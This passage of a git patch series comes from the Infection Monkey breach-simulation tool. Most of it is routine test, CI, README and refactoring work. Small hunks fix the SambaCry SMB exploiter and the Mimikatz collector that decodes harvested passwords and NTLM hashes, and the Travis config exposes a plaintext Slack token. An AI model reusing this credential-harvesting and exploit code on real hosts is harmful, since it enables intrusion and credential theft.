- "status": STATUS_FAILED,
- "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
- },
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
- },
- ]
- }
- ],
- DEVICES: [
- {
- "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
- "status": STATUS_FAILED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
- },
- {
- "status": STATUS_FAILED,
- "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
- },
- ]
- }
- ],
- NETWORKS: [
- {
- "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
- "status": STATUS_VERIFY,
- "tests": [
- {
- "status": STATUS_VERIFY,
- "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
- }
- ]
- },
- ],
- PEOPLE: [
- {
- "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
- "status": STATUS_VERIFY,
- "tests": [
- {
- "status": STATUS_VERIFY,
- "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
- }
- ]
- }
- ],
- VISIBILITY_ANALYTICS: [
- {
- "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
- }
- ]
- },
- {
- "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
- "status": STATUS_UNEXECUTED,
- "tests": [
- {
- "status": STATUS_UNEXECUTED,
- "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
- }
- ]
- },
- ],
- WORKLOADS: []
- }
+ expected = dict(EXPECTED_DICT) # new mutable
result = ZeroTrustService.get_principles_status()
- self.assertEqual(result, expected)
+ # Compare expected and result, no order:
+ for pillar_name, pillar_principles_status_result in result.items():
+ for index, pillar_principle_status_expected in enumerate(expected.get(pillar_name)):
+ correct_one = None
+ for pillar_principle_status_result in pillar_principles_status_result:
+ if pillar_principle_status_result["principle"] == pillar_principle_status_expected["principle"]:
+ correct_one = pillar_principle_status_result
+ break
+
+ # Compare tests no order
+ self.assertTrue(compare_lists_no_order(correct_one["tests"], pillar_principle_status_expected["tests"]))
+ # Compare the rest
+ del pillar_principle_status_expected["tests"]
+ del correct_one["tests"]
+ self.assertEqual(sorted(correct_one), sorted(pillar_principle_status_expected))
def test_get_pillars_to_statuses(self):
self.fail_if_not_testing_env()
@@ -283,3 +298,13 @@ class TestZeroTrustService(IslandTestCase):
}
self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected)
+
+
+def compare_lists_no_order(s, t):
+ t = list(t) # make a mutable copy
+ try:
+ for elem in s:
+ t.remove(elem)
+ except ValueError:
+ return False
+ return not t
From 7c23065efafd10219e2dd9374f216b307d2e23e7 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 18:31:44 +0200
Subject: [PATCH 060/108] Trying to get slack notifications to work.
---
.travis.yml | 10 ++++++----
1 file changed, 6 insertions(+), 4 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index 501814e6f..b05dfbe94 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -12,12 +12,14 @@ before_script:
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
- cd monkey # This is our source dir
-- python -m pytest --capture=sys # Have to do this to add monkey to sys.path.
+- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
notifications:
- on_success: change
- on_failure: always
slack:
rooms:
- - secure: wFddByqGGfwpjuisZhXQGAI7Y/7yZ+ON58R19D2ff+p1lT26BIdE+gSWQFWTbSNcyjVhAMCkbKgRblL2o0WcuiCyYjlcIoT/fEMuypxNTnlC1FtHlmEO/1JAyDVskzRWvu7q98szcDP+yKjUZSjUrLMnzUYtdB7hhAp8iRvEUTgtKQi27kmgBX9lLqAf93WO1Ocp2+fmDkNmegx2bBa9PQS4FYOtqN7DYZ0cHM7wLffyHZmSXZkwCcq+u7mSONrfQZprCvzQu9kntx/zEnjTuNHUZ8L0SNu035Yg2MtxnKDY1GPSox5ax5rZJID4aN+f7vDkIgIskMwVcjFoMS4bvp8xH1liWleR/VdOYhTP1bx5GcLvkUFC/xAwW730AZnU9Ihn3iSLK8iiowf7UMOYLB371KDlZWj2gwRvccRb7VwismLzcYt/So/5/xDa4IgDNNUu/fb9J+TPc+3jKPt3E6KSHseBcyk2ov7iC14pUz/AWEcWga2s5cRiWqBibUuiJUXZf0zExyEnj9dic5jF/UW8EVpDygy5TaAVq9VD30zslzPcIDbl1slEh2Nd6LXQWCiz9UMDN85OHkuXSgNyuSpna6W0+/qNv3SQLrcwTKTNj/ZSLTj5lZIyQ7l11xW36H+uyx4D8rYOpHw8HxrGXnh5hyWhOa4GCGzgSgFZlU8=
+ - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#ci
+ - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#github
on_success: always
on_failure: always
+ email:
+ on_success: change
+ on_failure: always
From 681c0396c4a24fa2a16798b5de4abf2c797a5f26 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 18:35:38 +0200
Subject: [PATCH 061/108] Added travis badges to readme
---
README.md | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/README.md b/README.md
index 67b5b2e8b..b10ebbf8b 100644
--- a/README.md
+++ b/README.md
@@ -8,6 +8,11 @@ Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
+#### Build status
+* Development branch [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
+* Master [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey)
+
+
From 984a280b66dc3a57956dc701c27ea42add6e832e Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 18:39:54 +0200
Subject: [PATCH 062/108] Changed bullets to table
---
README.md | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index b10ebbf8b..070d6243d 100644
--- a/README.md
+++ b/README.md
@@ -9,8 +9,10 @@ Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
#### Build status
-* Development branch [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
-* Master [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey)
+| Branch | Status |
+| ------ | :----: |
+| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
+| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
From bb536755bf0034ee53f7faf2ebd239cdffae1e37 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 18:44:38 +0200
Subject: [PATCH 063/108] reordered readme with badges
---
README.md | 15 ++++++++-------
1 file changed, 8 insertions(+), 7 deletions(-)
diff --git a/README.md b/README.md
index 070d6243d..462383969 100644
--- a/README.md
+++ b/README.md
@@ -1,19 +1,14 @@
Infection Monkey
====================
+[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
-### Data center Security Testing Tool
+## Data center Security Testing Tool
------------------------
Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
-#### Build status
-| Branch | Status |
-| ------ | :----: |
-| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
-| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
-
@@ -57,6 +52,12 @@ If you only want to build the monkey from source, see [Setup](https://github.com
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
+### Build status
+| Branch | Status |
+| ------ | :----: |
+| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
+| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
+
License
=======
Copyright (c) Guardicore Ltd
From 59a779822bde75c58eaf46ebb35717b29dfff8d9 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 09:31:00 +0200
Subject: [PATCH 064/108] Added some badges (since we added the build badge and
I don't want it to look alone)
---
README.md | 3 +++
1 file changed, 3 insertions(+)
diff --git a/README.md b/README.md
index 462383969..2d7490bfe 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,9 @@
Infection Monkey
====================
[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
+[![GitHub release (latest by date)](https://img.shields.io/github/v/release/guardicore/monkey)](https://github.com/guardicore/monkey/releases)
+![GitHub stars](https://img.shields.io/github/stars/guardicore/monkey)
+![GitHub commit activity](https://img.shields.io/github/commit-activity/m/guardicore/monkey)
## Data center Security Testing Tool
------------------------
From 348a74361977a67ebb8eca62fb1a90923302ca82 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 10:28:40 +0200
Subject: [PATCH 065/108] Extracted api representations hooks to separate file,
added UT, and fixed linter issue
use `x not in y` instead of `not x in y`.
---
monkey/monkey_island/cc/app.py | 32 +----------
.../cc/resources/representations.py | 31 +++++++++++
.../cc/resources/representations_test.py | 53 +++++++++++++++++++
3 files changed, 86 insertions(+), 30 deletions(-)
create mode 100644 monkey/monkey_island/cc/resources/representations.py
create mode 100644 monkey/monkey_island/cc/resources/representations_test.py
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index 38af31bde..8ab61c895 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -1,11 +1,8 @@
import os
import uuid
-from datetime import datetime
-import bson
import flask_restful
-from bson.json_util import dumps
-from flask import Flask, send_from_directory, make_response, Response
+from flask import Flask, send_from_directory, Response
from werkzeug.exceptions import NotFound
from monkey_island.cc.auth import init_jwt
@@ -24,6 +21,7 @@ from monkey_island.cc.resources.netmap import NetMap
from monkey_island.cc.resources.node import Node
from monkey_island.cc.resources.remote_run import RemoteRun
from monkey_island.cc.resources.reporting.report import Report
+from monkey_island.cc.resources.representations import output_json
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
@@ -62,32 +60,6 @@ def serve_home():
return serve_static_file(HOME_FILE)
-def normalize_obj(obj):
- if '_id' in obj and not 'id' in obj:
- obj['id'] = obj['_id']
- del obj['_id']
-
- for key, value in list(obj.items()):
- if isinstance(value, bson.objectid.ObjectId):
- obj[key] = str(value)
- if isinstance(value, datetime):
- obj[key] = str(value)
- if isinstance(value, dict):
- obj[key] = normalize_obj(value)
- if isinstance(value, list):
- for i in range(0, len(value)):
- if isinstance(value[i], dict):
- value[i] = normalize_obj(value[i])
- return obj
-
-
-def output_json(obj, code, headers=None):
- obj = normalize_obj(obj)
- resp = make_response(dumps(obj), code)
- resp.headers.extend(headers or {})
- return resp
-
-
def init_app_config(app, mongo_url):
app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = str(uuid.getnode())
diff --git a/monkey/monkey_island/cc/resources/representations.py b/monkey/monkey_island/cc/resources/representations.py
new file mode 100644
index 000000000..cd804db50
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/representations.py
@@ -0,0 +1,31 @@
+from datetime import datetime
+
+import bson
+from bson.json_util import dumps
+from flask import make_response
+
+
+def normalize_obj(obj):
+ if ('_id' in obj) and ('id' not in obj):
+ obj['id'] = obj['_id']
+ del obj['_id']
+
+ for key, value in list(obj.items()):
+ if isinstance(value, bson.objectid.ObjectId):
+ obj[key] = str(value)
+ if isinstance(value, datetime):
+ obj[key] = str(value)
+ if isinstance(value, dict):
+ obj[key] = normalize_obj(value)
+ if isinstance(value, list):
+ for i in range(0, len(value)):
+ if isinstance(value[i], dict):
+ value[i] = normalize_obj(value[i])
+ return obj
+
+
+def output_json(obj, code, headers=None):
+ obj = normalize_obj(obj)
+ resp = make_response(dumps(obj), code)
+ resp.headers.extend(headers or {})
+ return resp
diff --git a/monkey/monkey_island/cc/resources/representations_test.py b/monkey/monkey_island/cc/resources/representations_test.py
new file mode 100644
index 000000000..714c70ed2
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/representations_test.py
@@ -0,0 +1,53 @@
+from unittest import TestCase
+from datetime import datetime
+from .representations import normalize_obj
+
+import bson
+
+
+class TestJsonRepresentations(TestCase):
+ def test_normalize_obj(self):
+ # empty
+ self.assertEqual({}, normalize_obj({}))
+
+ # no special content
+ self.assertEqual(
+ {"a": "a"},
+ normalize_obj({"a": "a"})
+ )
+
+ # _id field -> id field
+ self.assertEqual(
+ {"id": 12345},
+ normalize_obj({"_id": 12345})
+ )
+
+ # obj id field -> str
+ obj_id_str = "123456789012345678901234"
+ self.assertEqual(
+ {"id": obj_id_str},
+ normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)})
+ )
+
+ # datetime -> str
+ dt = datetime.now()
+ expected = {"a": str(dt)}
+ result = normalize_obj({"a": dt})
+ self.assertEqual(expected, result)
+
+ # dicts and lists
+ self.assertEqual({
+ "a": [
+ {"ba": obj_id_str,
+ "bb": obj_id_str}
+ ],
+ "b": {"id": obj_id_str}
+ },
+ normalize_obj({
+ "a": [
+ {"ba": bson.objectid.ObjectId(obj_id_str),
+ "bb": bson.objectid.ObjectId(obj_id_str)}
+ ],
+ "b": {"_id": bson.objectid.ObjectId(obj_id_str)}
+ })
+ )
From d6544c9e03f29338c2a97d7808204a9a0424bb11 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 12:59:32 +0200
Subject: [PATCH 066/108] Whitespace PEP8 fixes
---
monkey/infection_monkey/exploit/__init__.py | 12 ++++++------
monkey/monkey_island/cc/services/__init__.py | 2 +-
2 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 9e899b140..e2b75a4dd 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -20,11 +20,11 @@ class HostExploiter(object, metaclass=ABCMeta):
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
- 'started': '',
- 'finished': '',
- 'vulnerable_urls': [],
- 'vulnerable_ports': [],
- 'executed_cmds': []}
+ 'started': '',
+ 'finished': '',
+ 'vulnerable_urls': [],
+ 'vulnerable_ports': [],
+ 'executed_cmds': []}
self.exploit_attempts = []
self.host = host
@@ -43,7 +43,7 @@ class HostExploiter(object, metaclass=ABCMeta):
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
- 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
+ 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
def exploit_host(self):
self.pre_exploit()
diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py
index 142e51368..ee5b79ad0 100644
--- a/monkey/monkey_island/cc/services/__init__.py
+++ b/monkey/monkey_island/cc/services/__init__.py
@@ -1 +1 @@
-__author__ = 'itay.mizeretz'
\ No newline at end of file
+__author__ = 'itay.mizeretz'
From 827c4942d910bca8ea5f8406440457f77ff44ce7 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 13:37:18 +0200
Subject: [PATCH 067/108] Added script which changes the server_config to
testing in travis so the default will be standard (for running)
---
.travis.yml | 3 +-
monkey/monkey_island/cc/server_config.json | 4 +-
monkey/monkey_island/cc/set_server_config.py | 46 ++++++++++++++++++++
3 files changed, 50 insertions(+), 3 deletions(-)
create mode 100644 monkey/monkey_island/cc/set_server_config.py
diff --git a/.travis.yml b/.travis.yml
index b05dfbe94..06511e74b 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -5,11 +5,12 @@ python:
- 3.7
install:
- pip install -r monkey/monkey_island/requirements.txt
-- pip install flake8 pytest dlint
+- pip install flake8 pytest dlint pylint
- pip install -r monkey/infection_monkey/requirements_linux.txt
before_script:
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+- monkey/monkey_island/cc/set_server_config.py testing
script:
- cd monkey # This is our source dir
- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
index 7bf106194..0b28d0b74 100644
--- a/monkey/monkey_island/cc/server_config.json
+++ b/monkey/monkey_island/cc/server_config.json
@@ -1,4 +1,4 @@
{
- "server_config": "testing",
- "deployment": "develop"
+ "server_config": "standard",
+ "deployment": "develop"
}
diff --git a/monkey/monkey_island/cc/set_server_config.py b/monkey/monkey_island/cc/set_server_config.py
new file mode 100644
index 000000000..fc20747c9
--- /dev/null
+++ b/monkey/monkey_island/cc/set_server_config.py
@@ -0,0 +1,46 @@
+import argparse
+import json
+import logging
+from pathlib import Path
+
+SERVER_CONFIG = "server_config"
+
+logger = logging.getLogger(__name__)
+logger.addHandler(logging.StreamHandler())
+logger.setLevel(logging.DEBUG)
+
+
+def main():
+ args = parse_args()
+ file_path = get_config_file_path(args)
+
+ # Read config
+ with open(file_path) as config_file:
+ config_data = json.load(config_file)
+
+ # Edit the config
+ config_data[SERVER_CONFIG] = args.server_config
+
+ # Write new config
+ logger.info("Writing the following config: {}".format(json.dumps(config_data, indent=4)))
+ with open(file_path, "w") as config_file:
+ json.dump(config_data, config_file, indent=4)
+ config_file.write("\n") # Have to add newline at end of file, since json.dump does not.
+
+
+def get_config_file_path(args):
+ file_path = Path(__file__).parent.joinpath(args.file_name)
+ logger.info("Config file path: {}".format(file_path))
+ return file_path
+
+
+def parse_args():
+ parser = argparse.ArgumentParser()
+ parser.add_argument("server_config", choices=["standard", "testing", "password"])
+ parser.add_argument("-f", "--file_name", required=False, default="server_config.json")
+ args = parser.parse_args()
+ return args
+
+
+if __name__ == '__main__':
+ main()
From f8cf78a2928d1d7d078418053564f3c2eb932205 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 13:40:22 +0200
Subject: [PATCH 068/108] Forgot python as command for running the script
---
.travis.yml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.travis.yml b/.travis.yml
index 06511e74b..608c8924f 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -10,7 +10,7 @@ install:
before_script:
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
-- monkey/monkey_island/cc/set_server_config.py testing
+- python monkey/monkey_island/cc/set_server_config.py testing
script:
- cd monkey # This is our source dir
- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
From 97baaabdd7086d324aaaca22eeaa0426d70ef551 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 13:54:07 +0200
Subject: [PATCH 069/108] Remove pylint from travis installation + added some
doc + fixed notifications for travis
---
.travis.yml | 23 +++++++++++++----------
1 file changed, 13 insertions(+), 10 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index 608c8924f..d5103b989 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,25 +1,28 @@
+# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
+
group: travis_latest
language: python
cache: pip
python:
- 3.7
install:
-- pip install -r monkey/monkey_island/requirements.txt
-- pip install flake8 pytest dlint pylint
-- pip install -r monkey/infection_monkey/requirements_linux.txt
+- pip install -r monkey/monkey_island/requirements.txt # for unit tests
+- pip install flake8 pytest dlint # for next stages
+- pip install -r monkey/infection_monkey/requirements_linux.txt # for unit tests
before_script:
-- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
-- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
-- python monkey/monkey_island/cc/set_server_config.py testing
+- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # Check syntax errors
+- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # warn about linter issues. --exit-zero
+ # means this stage will not fail the build. This is (hopefully) a temporary measure until all warnings are suppressed.
+- python monkey/monkey_island/cc/set_server_config.py testing # Set the server config to `testing`, for the UTs to use
+ # mongomaock and pass.
script:
- cd monkey # This is our source dir
- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
notifications:
- slack:
+ slack: # Notify to slack
rooms:
- - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#ci
- - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#github
- on_success: always
+ - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#ci # room: #ci
+ on_success: change
on_failure: always
email:
on_success: change
From 2a34ec4995fbc5739694e0c74dd7f2e025cbead7 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 28 Oct 2019 15:03:41 +0200
Subject: [PATCH 070/108] Mimikatz fix and small sambacry fix
---
monkey/infection_monkey/exploit/sambacry.py | 2 +-
monkey/infection_monkey/system_info/mimikatz_collector.py | 8 ++++----
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index e48a21616..e3825eac9 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -395,7 +395,7 @@ class SambaCryExploiter(HostExploiter):
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
- smb2Create['Buffer'] = '\x00'
+ smb2Create['Buffer'] = b'\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py
index f73340a25..8b62217cc 100644
--- a/monkey/infection_monkey/system_info/mimikatz_collector.py
+++ b/monkey/infection_monkey/system_info/mimikatz_collector.py
@@ -78,11 +78,11 @@ class MimikatzCollector(object):
for i in range(entry_count):
entry = self._get()
- username = entry.username.encode('utf-8').strip()
+ username = entry.username
- password = entry.password.encode('utf-8').strip()
- lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
- ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
+ password = entry.password
+ lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode()
+ ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode()
if 0 == len(password):
has_password = False
From 65cfab30ddee560223e81a694e91ccce5f053cd1 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 28 Oct 2019 15:44:53 +0200
Subject: [PATCH 071/108] Revert "Fixed ring bug with @staticmethod"
This reverts commit 8046cdd
---
monkey/monkey_island/cc/models/monkey.py | 66 +++++++++----------
monkey/monkey_island/cc/models/test_monkey.py | 33 +++++-----
monkey/monkey_island/cc/services/edge.py | 8 +--
monkey/monkey_island/cc/services/node.py | 8 +--
4 files changed, 56 insertions(+), 59 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 1a0e872f6..324903809 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -97,6 +97,25 @@ class Monkey(Document):
os = "windows"
return os
+ @ring.lru()
+ @staticmethod
+ def get_label_by_id(object_id):
+ current_monkey = Monkey.get_single_monkey_by_id(object_id)
+ label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
+ if len(set(current_monkey.ip_addresses).intersection(local_ip_addresses())) > 0:
+ label = "MonkeyIsland - " + label
+ return label
+
+ @ring.lru()
+ @staticmethod
+ def get_hostname_by_id(object_id):
+ """
+ :param object_id: the object ID of a Monkey in the database.
+ :return: The hostname of that machine.
+ :note: Use this and not monkey.hostname for performance - this is lru-cached.
+ """
+ return Monkey.get_single_monkey_by_id(object_id).hostname
+
def set_hostname(self, hostname):
"""
Sets a new hostname for a machine and clears the cache for getting it.
@@ -104,8 +123,8 @@ class Monkey(Document):
"""
self.hostname = hostname
self.save()
- get_monkey_hostname_by_id.delete(self.id)
- get_monkey_label_by_id.delete(self.id)
+ Monkey.get_hostname_by_id.delete(self.id)
+ Monkey.get_label_by_id.delete(self.id)
def get_network_info(self):
"""
@@ -114,6 +133,17 @@ class Monkey(Document):
"""
return {'ips': self.ip_addresses, 'hostname': self.hostname}
+ @ring.lru(
+ expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
+ )
+ @staticmethod
+ def is_monkey(object_id):
+ try:
+ _ = Monkey.get_single_monkey_by_id(object_id)
+ return True
+ except:
+ return False
+
@staticmethod
def get_tunneled_monkeys():
return Monkey.objects(tunnel__exists=True)
@@ -123,37 +153,5 @@ class Monkey(Document):
self.save()
-# TODO Can't make following methods static under Monkey class due to ring bug. When ring will support static methods, we
-# should move to static methods in the Monkey class.
-@ring.lru(
- expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
-)
-def is_monkey(object_id):
- try:
- _ = Monkey.get_single_monkey_by_id(object_id)
- return True
- except:
- return False
-
-
-@ring.lru()
-def get_monkey_label_by_id(object_id):
- current_monkey = Monkey.get_single_monkey_by_id(object_id)
- label = get_monkey_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
- if len(set(current_monkey.ip_addresses).intersection(local_ip_addresses())) > 0:
- label = "MonkeyIsland - " + label
- return label
-
-
-@ring.lru()
-def get_monkey_hostname_by_id(object_id):
- """
- :param object_id: the object ID of a Monkey in the database.
- :return: The hostname of that machine.
- :note: Use this and not monkey.hostname for performance - this is lru-cached.
- """
- return Monkey.get_single_monkey_by_id(object_id).hostname
-
-
class MonkeyNotFoundError(Exception):
pass
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 472c5770b..d399355a3 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -4,7 +4,7 @@ from time import sleep
import pytest
-from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError, is_monkey, get_monkey_label_by_id
+from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from .monkey_ttl import MonkeyTtl
@@ -131,13 +131,12 @@ class TestMonkey(IslandTestCase):
